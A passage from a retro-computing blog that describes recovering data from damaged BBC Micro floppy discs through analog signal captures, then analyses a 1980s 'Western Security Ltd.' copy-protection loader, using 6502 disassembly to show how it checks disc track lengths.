src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWweJBnVhpZ0wYx5qgTOtnf_qfjrOYMBgr25yGCY30neVL7Ui7H3YPUrQmatpbmJWixIFFbSeU2_kIcNbzd6okC0ImkDRZz0iz3vho9sS4Flmp3dTjVfcfwlbksJ6pbCjyWhX-dIPD3wQC/w640-h360/A+state+of+flux+%25281%2529.png" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">The recovered sector data from "The Living Daylights".</td></tr></tbody></table><p>As noted in the slide, we compare the recovered sector data against the recovered on-disc CRC16. The sector data is 256 bytes followed by a 2 byte CRC16. We got a match.</p><p>In case you were wondering, one thing we glossed over is "locate the start of the sector data". The start of a sector body (or a sector header) contains a pulse sequence that cannot occur in a well formed sector body or header. Essentially, it contains missing clock bits.</p><p>As a recap, recovering this data was looking hopeless not that long ago. The Greaseweazle returned mostly noise, but now we've got all the bytes off successfully! This is incredibly encouraging: it suggests that many discs that appear "lost" at first glance are in fact recoverable. Faint traces of data often remain and these can be scooped up with an analog read.</p><p>The dented "Repton 3" source code disc was a bit more of a headache because of how incredibly weak the signal becomes in the region of the dent, as seen by Phil's drive. The peak detection algorithm wasn't able to resolve it, although in retrospect, it may have done if we had further filtered the signal. In the end, we resorted to what seems to work best for the worst signals: human intervention! By drawing in repaired peaks on the most degraded parts, the peak detection algorithm was able to resolve the dented region:</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2T0Jtht8bh_1lLlVD7DOFHnmUFYmJkdI0zOM2MOfbGRs9GL6fdGIcgFZSc9bmfZ3Dq1lFwBIm-2PNNuilgNCL7ryrXbjBP_Q0XTRR2xo5P3FJ-6TXx9eAaXxnLjb3iYAWL48gj_6atqqi/s960/A+state+of+flux+%25282%2529.png" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="540" data-original-width="960" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2T0Jtht8bh_1lLlVD7DOFHnmUFYmJkdI0zOM2MOfbGRs9GL6fdGIcgFZSc9bmfZ3Dq1lFwBIm-2PNNuilgNCL7ryrXbjBP_Q0XTRR2xo5P3FJ-6TXx9eAaXxnLjb3iYAWL48gj_6atqqi/w640-h360/A+state+of+flux+%25282%2529.png" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Original signal above, hand-drawn fixes applied below.</td></tr></tbody></table><br /><p>In the end, with a combination of the above techniques and tools, we were able to recover <b>100% of the file data</b> from all of the source code discs.</p><p>One final note on peak recovery: I know very little about the field of signal processing, so I can't help but suspect there's a "proper" way to recover faint digital signals from analog captures. Advice most welcome.</p><p>[This section wouldn't be complete without a link to this very interesting <a href="http://www.makercentral.net/pages/posts/floppycontrolapp-waveform-editor-8.php" target="_blank">FloppyControlApp Waveform editor</a>. I haven't tried it as we only just found it as we've finished this write up. I wish I had found it sooner! That said, the pulses I've been fixing have often degraded in different ways to the notes and pictures in the video. Perhaps it's a difference due to the difference physical spacings or materials on 5.25" vs. 3.5".]</p><p><br /></p><p></p><h2>Caring for discs</h2><p style="text-align: left;">No discussion of recovering data from old floppy discs would be complete without some notes on how to best handle the discs. So far, we've looked at hardware, tools and techniques to read data from discs but haven't considered the condition of the discs themselves, or risks to the discs.</p><p style="text-align: left;">To be clear why it matters: <b>spinning some random disc in some random drive can damage the disc, perhaps even irreparably!</b> Possible problems with the discs include:</p><p style="text-align: left;"></p><ul style="text-align: left;"><li>The physical disc surface may have degraded to the point where it is either brittle, or goopy.</li><li>The disc sleeve lining may have become brittle and scratchy.</li><li>The disc surface may have become covered in mold.</li><li>The disc sleeve lining and/or disc may be dented.</li></ul><div>And possible problems with drives include:</div><div><ul style="text-align: left;"><li>The drive read heads are dirty or scratched.</li><li>Internal mechanical components bent or out of place.</li><li>Excessive friction placed on disc surface.</li></ul><p style="text-align: left;">If dealing with rare or unique discs, a minimum level of care is needed:</p><p style="text-align: left;"></p><ul style="text-align: left;"><li>Use a well-tested drive that doesn't mark discs.</li><li>Stop and ask for advice if the disc or disc surface is visible damaged, moldy or dirty. There's a good discussion on cleaning discs (albeit 3.5") in <a href="http://www.makercentral.net/pages/posts/cleaning-floppydisks-10.php" target="_blank">this video</a>.</li><li>Inspect and clean the drive heads before inserting each different disc.</li><li>(Strongly recommended) - use a "sealed / bubble head" drive, such as the FB-502, which places less friction on the disc.</li></ul><p style="text-align: left;">A more thorough document on the preservation of BBC Micro discs may be found here: <a href="https://docs.google.com/document/d/1Yz8MlMtwCa6h7uZnMHbIXACLgjKcEPaZ3lM5ETvkbOQ/view" target="_blank">click me</a>.</p><p style="text-align: left;">And a cautionary note on what can go wrong when trying to read old discs:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVwIHg1HCSbbwtOG5g3Ip6Elj9sPQodygHUzLdCmMCLg-h_8ZplqwvUtNuPWWVScTEj-TaCzj70MqYo4RBuW91t3B2PNmAAanJDucvXY476FKeGFoRrl_mLzFW2-h264fgu6cjBarDZxlx/s4032/planetoid_see_thru.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="4032" data-original-width="3024" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVwIHg1HCSbbwtOG5g3Ip6Elj9sPQodygHUzLdCmMCLg-h_8ZplqwvUtNuPWWVScTEj-TaCzj70MqYo4RBuW91t3B2PNmAAanJDucvXY476FKeGFoRrl_mLzFW2-h264fgu6cjBarDZxlx/w300-h400/planetoid_see_thru.jpg" width="300" /></a></div><p style="text-align: left;">Somewhat horrifyingly, part of the disc surface is now transparent. At some point in the past, the information carrying oxide particles were stripped off the plastic disc. Perhaps this could have been avoided by using a cleaner or more gentle disc drive.</p><p style="text-align: left;"><br /></p><p></p></div><p></p><h2 style="text-align: left;">What on earth happened to that The Living Daylights disc?</h2><div><p>We've now encountered two discs that are corrupted in exactly the same and very curious way: one of "The Living Daylights" source code discs, and the "Old Macdonald's Farm" educational title. In both cases, the re-write of sector bodies has left them totally trashed.</p><p>Our initial theory is that the writing drive could have become misaligned. This is a common ailment and it's where the drive read/write head get knocked slightly off where it should be. One effect would be that every write would be off-center of the track, possibly leading to read difficulties in a correctly aligned drive. This theory was eliminated by taking the "Old Macdonald's Farm" disc and manually misaligning a drive in both directions to look for a better data signal; none was obtained. Another flaw with the alignment theory is that a misaligned drive might have trouble reading the sector headers, which would prevent the write from occurring at all.</p><p>Our current theory, and one that is a reasonable match for the evidence, is that the drive, cabling or floppy disc controller chip failed in way that prevented write pulses taking effect. This means that any write would energize the drive head but never reverse magnetic polarity. In effect, this runs a constant current through the write head and is a type of erase across the disc sector. So, how thoroughly does this erase remove traces of magnetic flux reversals? I tried this by doing this type of erase on top of a FM bit pattern of "1111000011110000....":</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh784Sktu0JVg-okETYpQEPeX1xFNpWgXcW8tGRKqtsULSifaZTv7zfeN53ekxE5XR_1sMbRAaFCslB3jySMFSAZWROoNSjqCqJRTZIF2T-mpzUsOY_EXEyOJijrqt3iB7KFGRsYvvOz2Hd/s800/erased_11110000_analog.png" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="480" data-original-width="800" height="384" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh784Sktu0JVg-okETYpQEPeX1xFNpWgXcW8tGRKqtsULSifaZTv7zfeN53ekxE5XR_1sMbRAaFCslB3jySMFSAZWROoNSjqCqJRTZIF2T-mpzUsOY_EXEyOJijrqt3iB7KFGRsYvvOz2Hd/w640-h384/erased_11110000_analog.png" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">The erased bits have left a trace behind.</td></tr></tbody></table><p>Normal signal strength for this disc and drive is 650mV peak-to-peak. The signal strength of the erased bits is about 50mV peak-to-peak for "0" bits, but the higher frequency "1" bits are down to about 20mV peak-to-peak, and are hard to discern. Also, a much higher frequency oscillation has crept in, possible around the frequency of the low-pass filter's cutoff?</p><p>Obviously, the result here is going to vary wildly depending upon drive electronics, drive head, and disc material. But the point is made: erasing over floppy disc data leaves a signal behind on some drives.</p><p>We think that the sector bodies were erased by a write fault 30+ years ago, leaving a faint signal that then further decayed and became chaotic over the decades. But the data is still there.</p><p><br /></p></div><h2 style="text-align: left;">Closing remarks</h2><p>We're very pleased to have recovered some old BBC Micro source code and games discs that were not recoverable by standard means. In the case of the recovered source code, it is now with the original author of the games, who is checking over the materials and deciding whether to publicly release them.</p><p>In the case of "Old Macdonald's Farm", we pieced a working disc back together from a combination of bit recovery plus some cross-referencing with a related title that uses the same game engine and a similar disc layout. The results were posted here: <a href="https://stardot.org.uk/forums/viewtopic.php?f=32&p=321175" target="_blank">click me</a>. It's hard to exaggerate how really faint and corrupted the "Old Macdonald's Farm" disc signal is. It's much worse than the "The Living Daylights" source code disc. We didn't previously look at what Greaseweazle thinks of it, so here it is:</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG4LHOTf9ELPBVNRKOjQ6pcu5A2tuuFVs1LbWC4n_YCZfQvqLMgJVNN9cg3-Zun0nrLIO1j8BJXkixjE9KN_zUf8BKcsDvc5jnOUfUnrbiuqJcoNXPKB6H3kMv7sVZF6JRfs6dbkWF1AKN/s1922/omf_t0_fb502_hxc.png" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="1055" data-original-width="1922" height="352" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG4LHOTf9ELPBVNRKOjQ6pcu5A2tuuFVs1LbWC4n_YCZfQvqLMgJVNN9cg3-Zun0nrLIO1j8BJXkixjE9KN_zUf8BKcsDvc5jnOUfUnrbiuqJcoNXPKB6H3kMv7sVZF6JRfs6dbkWF1AKN/w640-h352/omf_t0_fb502_hxc.png" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">The signal on the trashed sectors is just desolation as far as the Greaseweazle sees. It's a miracle that the bits are still there and recoverable.</td></tr></tbody></table><p><br />We wish to warmly extend the general offer: for unique discs, rare discs, or discs of historical interest, we're happy to receive them and do our best to recover them using the care and procedures outlined above. The offer extends beyond BBC discs to any 5.25" discs: Apple, Commodore, PC, etc.</p><p>We don't have any tooling to release at this time, because none of it is close to production quality. This is an area of ongoing effort as and when we encounter new discs to recover. It's also non-trivial to put together an overall packaging of this work, because disc drives and oscilloscopes are all different. Reach out if you'd like to wade in to this area and don't mind dealing with messiness.</p><p>There's plenty of opportunity to further research and improve the hardware and software story here:</p><p></p><ul style="text-align: left;"><li>On the hardware side, the general theme is to replace old 1980s tech with modern tech, i.e. the filtering and peak detection has been moved to modern software. Continuing along this theme, it'd be interesting to replace the 1980s amplifier with a high quality modern amplifier with excellent gain and signal to noise ratios. At that point, we could directly compare the quality of different drive read heads.</li><li>On the software side, as previously covered, I'm pretty convinced my peak recovery efforts could be a lot better!</li></ul><p></p><p>Thanks for reading!</p><p>Chris Evans and Phil Pemberton...</p><p>... and Mr. Macdonald</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyjvS35AsFebIoC1U6EobcIa6y9TjmZOLCNMe544tMUZYnDAlK4QROqWUbzbRZ9mhjNsZtzh0_wQei57res0kS4UzUplRM7x3xDUnDq1HM8OGbuC7yDL-bLR_lL7owYRq7EoufECqQk84O/s788/omf_screenshot.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="695" data-original-width="788" height="353" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyjvS35AsFebIoC1U6EobcIa6y9TjmZOLCNMe544tMUZYnDAlK4QROqWUbzbRZ9mhjNsZtzh0_wQei57res0kS4UzUplRM7x3xDUnDq1HM8OGbuC7yDL-bLR_lL7owYRq7EoufECqQk84O/w400-h353/omf_screenshot.png" width="400" /></a></div><br /><p><br /></p></div></div>Chris Evanshttp://www.blogger.com/profile/01004765479735675808noreply@blogger.com22tag:blogger.com,1999:blog-3024470480937744884.post-46481713079335965172020-12-14T10:58:00.000-08:002020-12-14T10:58:26.660-08:00The cleverest floppy disc protection ever? Western Security Ltd.<h2 style="text-align: left;">Introduction</h2><p>I've been on a bit of a floppy disc protection odyssey recently. This will probably be the last floppy disc related post for some time, so how better to end things than describe a stroke of genius I came across during my research of BBC Micro disc protection?</p><p>In my previous posts, we've already covered (directly or tangentially) some interesting floppy disc protection schemes:</p><p></p><ul style="text-align: left;"><li>Weak bits. [<a href="https://scarybeastsecurity.blogspot.com/2020/06/weak-bits-floppy-disc-protection.html" target="_blank">link: Weak bits floppy disc protection: an alternate origins story on 8-bit</a>]. "Weak bits" protection is where a patch of disc surface is left empty of magnetic flux transitions. Absent a signal, the floppy disc drive itself will turn up the gain on its amplifier and see noise, which manifests as non-deterministic digital reads from the disc.</li><li>Fuzzy bits. [<a href="http://dmweb.free.fr/?q=node/1429" target="_blank">link: Technical Documentation - Dungeon Master and Chaos Strikes Back - Detailed analysis of Atari ST Floppy Disks</a>]. "Fuzzy bits" protection is where magnetic flux transitions are recorded at intervals that are out-of-spec with regards to timing expectations (e.g. MFM). By using intervals right in the middle of a pair of expected values (e.g. 5us instead of the expected 4us or 6us), it's possible to cause the disc controller to return non-deterministic digital reads.</li><li>Long / short tracks. [<a href="https://scarybeastsecurity.blogspot.com/2020/07/turning-400-bbc-micro-1981-into-40000.html" target="_blank">link: Turning a £400 BBC Micro (1981) into a $40,000 disc writer (1987)</a>] [see the "Capabilities Unlocked" section]. Long track protection is where flux transitions are written a little bit faster than they should be. This could be the whole track or just part of a track. In either case, the track will appear to contain more bytes than a track normally should. This works because the floppy disc controller usually has a broad tolerance of bitrate, to cater for disc drives naturally spinning at different speeds.</li></ul><div>Now, we're going to cover something else entirely, with some unique properties that I think are clever.</div><div><br /></div><h2 style="text-align: left;">Western who, now?</h2><div><br /></div><div>It's not readily possible to find any "Western Security, Ltd." company associated with the BBC Micro. So how do we know such a thing exists? Two reasons. Firstly, when developing my beebjit [<a href="https://github.com/scarybeasts/beebjit" target="_blank">link</a>] emulator, I made numerous mistakes and had tons of bugs. While grappling with accurate floppy disc emulation -- in order to load original protected disc images -- I hit this:</div><div><br /></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCQVt55FzRFTWsjMEvRzqlheA7soNfyzzR-CQ4DKuYGOrfikZL6OqjBGnwFoBwjYjct5-5dPwn9Twg31n0tt-476wJAwXxZPN7g0n8is4kkI9BgLranOTj0hiqGwg4HgzRNfvzSr7nYIxK/s774/western_fail.png" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="672" data-original-width="774" height="348" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCQVt55FzRFTWsjMEvRzqlheA7soNfyzzR-CQ4DKuYGOrfikZL6OqjBGnwFoBwjYjct5-5dPwn9Twg31n0tt-476wJAwXxZPN7g0n8is4kkI9BgLranOTj0hiqGwg4HgzRNfvzSr7nYIxK/w400-h348/western_fail.png" width="400" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Jolly Jack Tar by Sherston Software</td></tr></tbody></table><div><br /></div><div>Of course, the original author here missed out an amusing case. Either the disc is faulty (no), it's an illegal copy (not really?).... or a buggy emulator. Here's another error screen. Perhaps an earlier version of the protection scheme? The message uses "disk" instead of "disc" and does not entertain the fact the disc may be at fault:</div><div><br /></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmeimRUNvc1QnN0sccfNMKc7XrY-bprBh-ua4eGZoNX8nxzwOXusReWI9PAJrOynNNQcys8KYhO5-pB9Mm_6RNFxzoYAdxwK4BUToH3eFcnNBlMD64ERfdQOqpU9okMaV14S-6QQC8r4GB/s774/western_fail_2.png" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="672" data-original-width="774" height="348" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmeimRUNvc1QnN0sccfNMKc7XrY-bprBh-ua4eGZoNX8nxzwOXusReWI9PAJrOynNNQcys8KYhO5-pB9Mm_6RNFxzoYAdxwK4BUToH3eFcnNBlMD64ERfdQOqpU9okMaV14S-6QQC8r4GB/w400-h348/western_fail_2.png" width="400" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Phantom Combat by Doctor Soft</td></tr></tbody></table><div><br /></div><div>(At the risk of digressing heavily, here's another screenshot. This is unrelated to Western Security Ltd., but follows the pattern of a dedicated screen for when the disc protected loader fails. This case is interesting because there's an entire decent image hidden from normal view!)</div><div><br /></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiH6uZeMw7TDPSlGetUhvuS7UTXAlvKg4l3or1sU1c5e5MdKYoXnbcuT-ASkHnvc1bUNaNsG6tjyFeEYmmQkw-FNpKB1rZMS2dG96lg2A4dd8qFUjZIwWAxDVWjtP909BGjgle3cFNAdQSi/s761/dd3_pirate.png" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="593" data-original-width="761" height="311" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiH6uZeMw7TDPSlGetUhvuS7UTXAlvKg4l3or1sU1c5e5MdKYoXnbcuT-ASkHnvc1bUNaNsG6tjyFeEYmmQkw-FNpKB1rZMS2dG96lg2A4dd8qFUjZIwWAxDVWjtP909BGjgle3cFNAdQSi/w400-h311/dd3_pirate.png" width="400" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Disc Duplicator 3, if it thinks it's a copy</td></tr></tbody></table><div><br /></div><div>The second reason we know the name Western is from disc duplicator markers. A disc duplicator marker is a special track written by some commercial disc duplication solutions. It is typically one track after the end of the normal disc, i.e. the 41st track or 81st track of the disc. Despite being "out of bounds", most disc drives will seek at least one track out of bounds. On the track, you'll typically find a single sector header, and a sector body with a CRC error. This is an unusual construction and it sticks out, for example when my discbeast program [<a href="https://github.com/scarybeasts/misc/tree/master/discbeast" target="_blank">link</a>] looks at the Jolly Jack Tar disc:</div><div><br /></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhClsSisWXdeQwMt_j1ImFF0OeHCwVwgmVaYN240sSRlzP9HGY6NNzfhwERlrhC1NnhG487Cmq-FcyoO5vdfWUrzrbH4axRYEqX7S0wS53FQ4-diQb4v7MwgRAjLq4NFwpDEEwt4pg1uKwI/s774/db_jolly_jack_tar.png" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="672" data-original-width="774" height="348" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhClsSisWXdeQwMt_j1ImFF0OeHCwVwgmVaYN240sSRlzP9HGY6NNzfhwERlrhC1NnhG487Cmq-FcyoO5vdfWUrzrbH4axRYEqX7S0wS53FQ4-diQb4v7MwgRAjLq4NFwpDEEwt4pg1uKwI/w400-h348/db_jolly_jack_tar.png" width="400" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Discbeast's view of Jolly Jack Tar</td></tr></tbody></table><div><br /></div><div>There's a date and a text string or two embedded in the duplicator marker. The Jolly Jack Tar instance is:</div><div><br /></div><div><span style="font-family: courier;">86 07 01 (1986, July 1st)</span></div><div><span style="font-family: courier;">523-037E WESTERN NM,10/256 PROT DUP 5"-48/40 1S SD SS</span></div><div><span style="font-family: courier;">32173-2Aw</span></div><div><br /></div><div>There's one other less common duplicator marker string we see associated with Western security, for example Tens and Units by Sherston Software. It appears to be an earlier prototype version:</div><div><br /></div><div><span style="font-family: courier;">85 10 31 (1985, October 31st)</span></div><div><span style="font-family: courier;">523-037C BBC NM,10/256 WESTERN SEC. PROTO1 DUP 5"-48/40 1</span></div><div><span style="font-family: courier;">70422-00w</span></div><div><span style="font-family: courier;"><br /></span></div><h2 style="text-align: left;">A recap of disc protection fundamentals</h2><p>Before diving in to how the Western Security protection works, let's recap the fundamentals of disc protection. The specifics are nuanced but the general principle is pleasantly simple:</p><p></p><ul style="text-align: left;"><li>The disc is easy to read but hard to write.</li></ul><div>The disc <i>has</i> to be relatively easy to read. If the disc couldn't be read by standard disc controllers, you couldn't sell the disc because customers would not be able to load it!</div><div><br /></div><div>And the <i>correct</i> way to make a disc hard to write is to carefully understand consumer disc controller chips and disc drives and make the disc <i>impossible</i> to write with standard kit.</div><div><br /></div><div>The BBC Micro disc protection journey did not follow this route -- the earlier discs, and many of the later discs, were exotic but not particularly hard to create with the standard disc controller. But you did need a special program. The software companies had their special mastering program and the customers did not, so in a sense the disc was "hard" to write. But then, general copying programs such as Disc Duplicator 3 appeared and suddenly the discs were "easy" to write, if you or a friend had the advanced disc copying program.</div><div><br /></div><div>However, a few BBC Micro pioneers did write discs that "can't" be written with the standard disc controller, most notably:</div><div><ul style="text-align: left;"><li>Simon Hosler's weak bits scheme, as linked above. (And here: [<a href="https://scarybeastsecurity.blogspot.com/2020/06/weak-bits-floppy-disc-protection.html" target="_blank">link</a>].) [1]</li><li>Many discs, such as The Sentinel by Firebird, hid data between sectors. [2]</li></ul><div>[1] One of a disc controller's main jobs is to write precise disc surfaces, i.e. to <i>never</i> write weak bits. However in the modern era I did find a way to trick the Intel 8271 controller into writing weak bits. Best I know, this technique was not discovered or used back in the day.</div></div><div>[2] With a bit of clever programming, I believe data between sectors could be written with standard disc controllers. It would involve writing to a track multiple times and resetting the disc controller at critical timing junctures. I've not seen any historic disc copying program that attempts to copy such discs, though.</div><p></p><h2 style="text-align: left;">Analyzing the Western Security Ltd. protected loader</h2><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEix0UT1Lz530Sebt5pICAPbMuXpR-AY2cloZEhj_O6GGcv-kL5WQ5B8o2ZT2_uEcdGuy0R0xVD2ps9rnYn6Fksq5oxMfePFnAbzsALgXg1DpSh72f7aqiYpaQUuuhRhH7uk5arzmB0SZ3ng/s1024/wizards_revenge.JPG" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="768" data-original-width="1024" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEix0UT1Lz530Sebt5pICAPbMuXpR-AY2cloZEhj_O6GGcv-kL5WQ5B8o2ZT2_uEcdGuy0R0xVD2ps9rnYn6Fksq5oxMfePFnAbzsALgXg1DpSh72f7aqiYpaQUuuhRhH7uk5arzmB0SZ3ng/w640-h480/wizards_revenge.JPG" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">This version of The Wizard's Revenge by Sherston Software features Western Security Ltd. disc protection.</td></tr></tbody></table><p>Here's a gratuitous screenshot of the game.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgARNo8Twe41oK2mTWqC-RmWW3ZOJpqQlf1L6QIBSbduZzmTUobw05OMjUDqM83YHI95ALrlai_NOvo6hQxo8dJsINR5zAHSU12exD2jLUXzpGOG75ixaswEe_5K4DsTQqEUx-oaiWP3OBF/s774/wizards_revege_screen.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="672" data-original-width="774" height="348" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgARNo8Twe41oK2mTWqC-RmWW3ZOJpqQlf1L6QIBSbduZzmTUobw05OMjUDqM83YHI95ALrlai_NOvo6hQxo8dJsINR5zAHSU12exD2jLUXzpGOG75ixaswEe_5K4DsTQqEUx-oaiWP3OBF/w400-h348/wizards_revege_screen.png" width="400" /></a></div><p>And here's what discbeast makes of the disc:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj51LN_fR85beEPrsHh8zGT0QpWBSj3jRtGN4JZrRJt4E8IL_9rXQzeP9kNpCDC5iZE8CnsLfk-kXSIsCqm1L-_Wgo8_9iFN2zxok4ImxaCEuR8LVRK35COOf1d_FSDf2PLBFLN2uxlEacF/s774/db_wizards_revenge.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="672" data-original-width="774" height="348" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj51LN_fR85beEPrsHh8zGT0QpWBSj3jRtGN4JZrRJt4E8IL_9rXQzeP9kNpCDC5iZE8CnsLfk-kXSIsCqm1L-_Wgo8_9iFN2zxok4ImxaCEuR8LVRK35COOf1d_FSDf2PLBFLN2uxlEacF/w400-h348/db_wizards_revenge.png" width="400" /></a></div><p>There's nothing too unusual here. The red block at the end denotes a track with 1 sector that has a CRC error. It's not part of the disc protection; it's the duplicator marker. The green color represents a standard sector layout with nothing particularly exotic present. The "D" indicates the presence of deleted sectors. This is disc protection, but not exotic or hard to copy. However, loading the disc in my beebjit emulator, using the Western Digital WD1770 floppy disc controller and <span style="font-family: courier;">-log disc:commands</span>, yields something highly unusual:</p><p><span style="font-family: courier;">info:disc:1770: command $E4 tr 1 sr 3 dr 1 cr $29 ptrk 1 hpos 1884</span></p><div>Command $E4 is "read track". It is not used in the normal operation of disc loading, or indeed in any other known protected loaders.</div><div>It's time to walk through the loader a little to see what is going on. The goal of this post is not to give a detailed walk through of all the gnarly corners of the loader. Like many protected loaders, it is "encrypted" or more accurately, obfuscated. It de-obfuscates itself using many layers of self-modification. At PC $0657, a disc call is set up to load a bit more of the loader from deleted sectors in track 9. This could easily be confused as being the extent of the protection, but it is not. Later, at PC $3CF7, there is a loop:</div><div><br /></div><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><div><div><span style="color: #2b00fe; font-family: courier;">[ITRP] 3CF7: JSR $3D16</span></div></div><div><div><span style="color: #2b00fe; font-family: courier;">[ITRP] 3CFA: LDA $75</span></div></div><div><div><span style="color: #2b00fe; font-family: courier;">[ITRP] 3CFC: SEC</span></div></div><div><div><span style="color: #2b00fe; font-family: courier;">[ITRP] 3CFD: SBC $3F4E</span></div></div><div><div><span style="color: #2b00fe; font-family: courier;">[ITRP] 3D00: TAX</span></div></div><div><div><span style="color: #2b00fe; font-family: courier;">[ITRP] 3D01: LDA $86</span></div></div><div><div><span style="color: #2b00fe; font-family: courier;">[ITRP] 3D03: STA $3F71,X</span></div></div><div><div><span style="color: #2b00fe; font-family: courier;">[ITRP] 3D06: INC $75</span></div></div><div><div><span style="color: #2b00fe; font-family: courier;">[ITRP] 3D08: LDA $3F4F</span></div></div><div><div><span style="color: #2b00fe; font-family: courier;">[ITRP] 3D0B: CMP $75</span></div></div><div><div><span style="color: #2b00fe; font-family: courier;">[ITRP] 3D0D: BCS $3CF7</span></div></div></blockquote><div><br /></div><div>It's not expected to be clear from this fragment alone (without all the subroutines), but what is going on here is a loop across tracks 1-8 inclusive. For each track, it is read fully and the length of the track is stored in a table at $3F71. Later, at PC $3CB6, these lengths are checked against a table located at $3D9B. The check is particularly interesting. For the copy protection to pass, a count is taken of each track length that falls within +-1 of the expectation, and this count must be 7 or 8. <b>Immediately we see that this protection is not a precise technology</b>. This is to be expected: discs are analog storage mediums underneath it all and there will be a bit of noise at the beginning or end of the track. From read-to-read, the same disc, drive and controller can and does see slight variations of track length. Looking at the load in beebjit, here are the encountered vs. expected lengths. (0x4A == 3122 bytes.)</div><div><br /></div><div>My captured disc</div><div><span style="color: #2b00fe; font-family: courier;">3F71: 4A 4D 4B 4A 4B 4D 4D 4A</span></div><div>Expectations</div><div><span style="color: #2b00fe; font-family: courier;">3D9B: 4A 4C 4B 4A 4B 4D 4C 4A</span></div><p>As can be seen, my disc reads almost exactly to expectations except track 2, which was 3125 bytes instead of the expected 3124. That's within the +-1 range so all 8 tracks pass the check (7 or more are required).</p><p>To spell it out, the protected loader expects the track length (in FM encoded bytes) for tracks 1-8 inclusive to be 3122, 3124, 3123, 3122, 3123, 3124, 3123, 3122. That's an incredible level of precision and accuracy of writing for 1985 technology. Each byte covers about 64us on a spinning disc, but disc drives of the era would often specify running RPM variation of "less than +-1.5%". At 300rpm, +-1.5% is +-3ms per rotation! In my experience, drives are much much better than that but still! How did 1985 technology cope??</p><p>One further note, on the WD1770 vs. Intel 8271 disc controllers. We've focused our analysis on the protection as seen by the WD1770. This disc also loads fine with an Intel 8271 controller. It uses a <b>completely different code path</b> to indirectly calculate track length in this case. It works because the padding bytes up to the end of the track are all 0x00 instead of the usual 0xFF. An "over-read" past the final sector on the track is used, and track length is detected by the change from reading 0x00 to 0xFF.</p><h2 style="text-align: left;">The genius twist</h2><p>And then we realize the genius of this scheme. What if they didn't write the tracks with extreme precision, because the technology wasn't there? <b>What if they just wrote the track any-old-how and then examined the result?</b> I think this what they did:</p><p></p><ul style="text-align: left;"><li>Format the disc. (That's it. Just format the disc normally and you've created a fiendishly protected disc.)</li><li>Read the lengths of tracks 1-8 of the 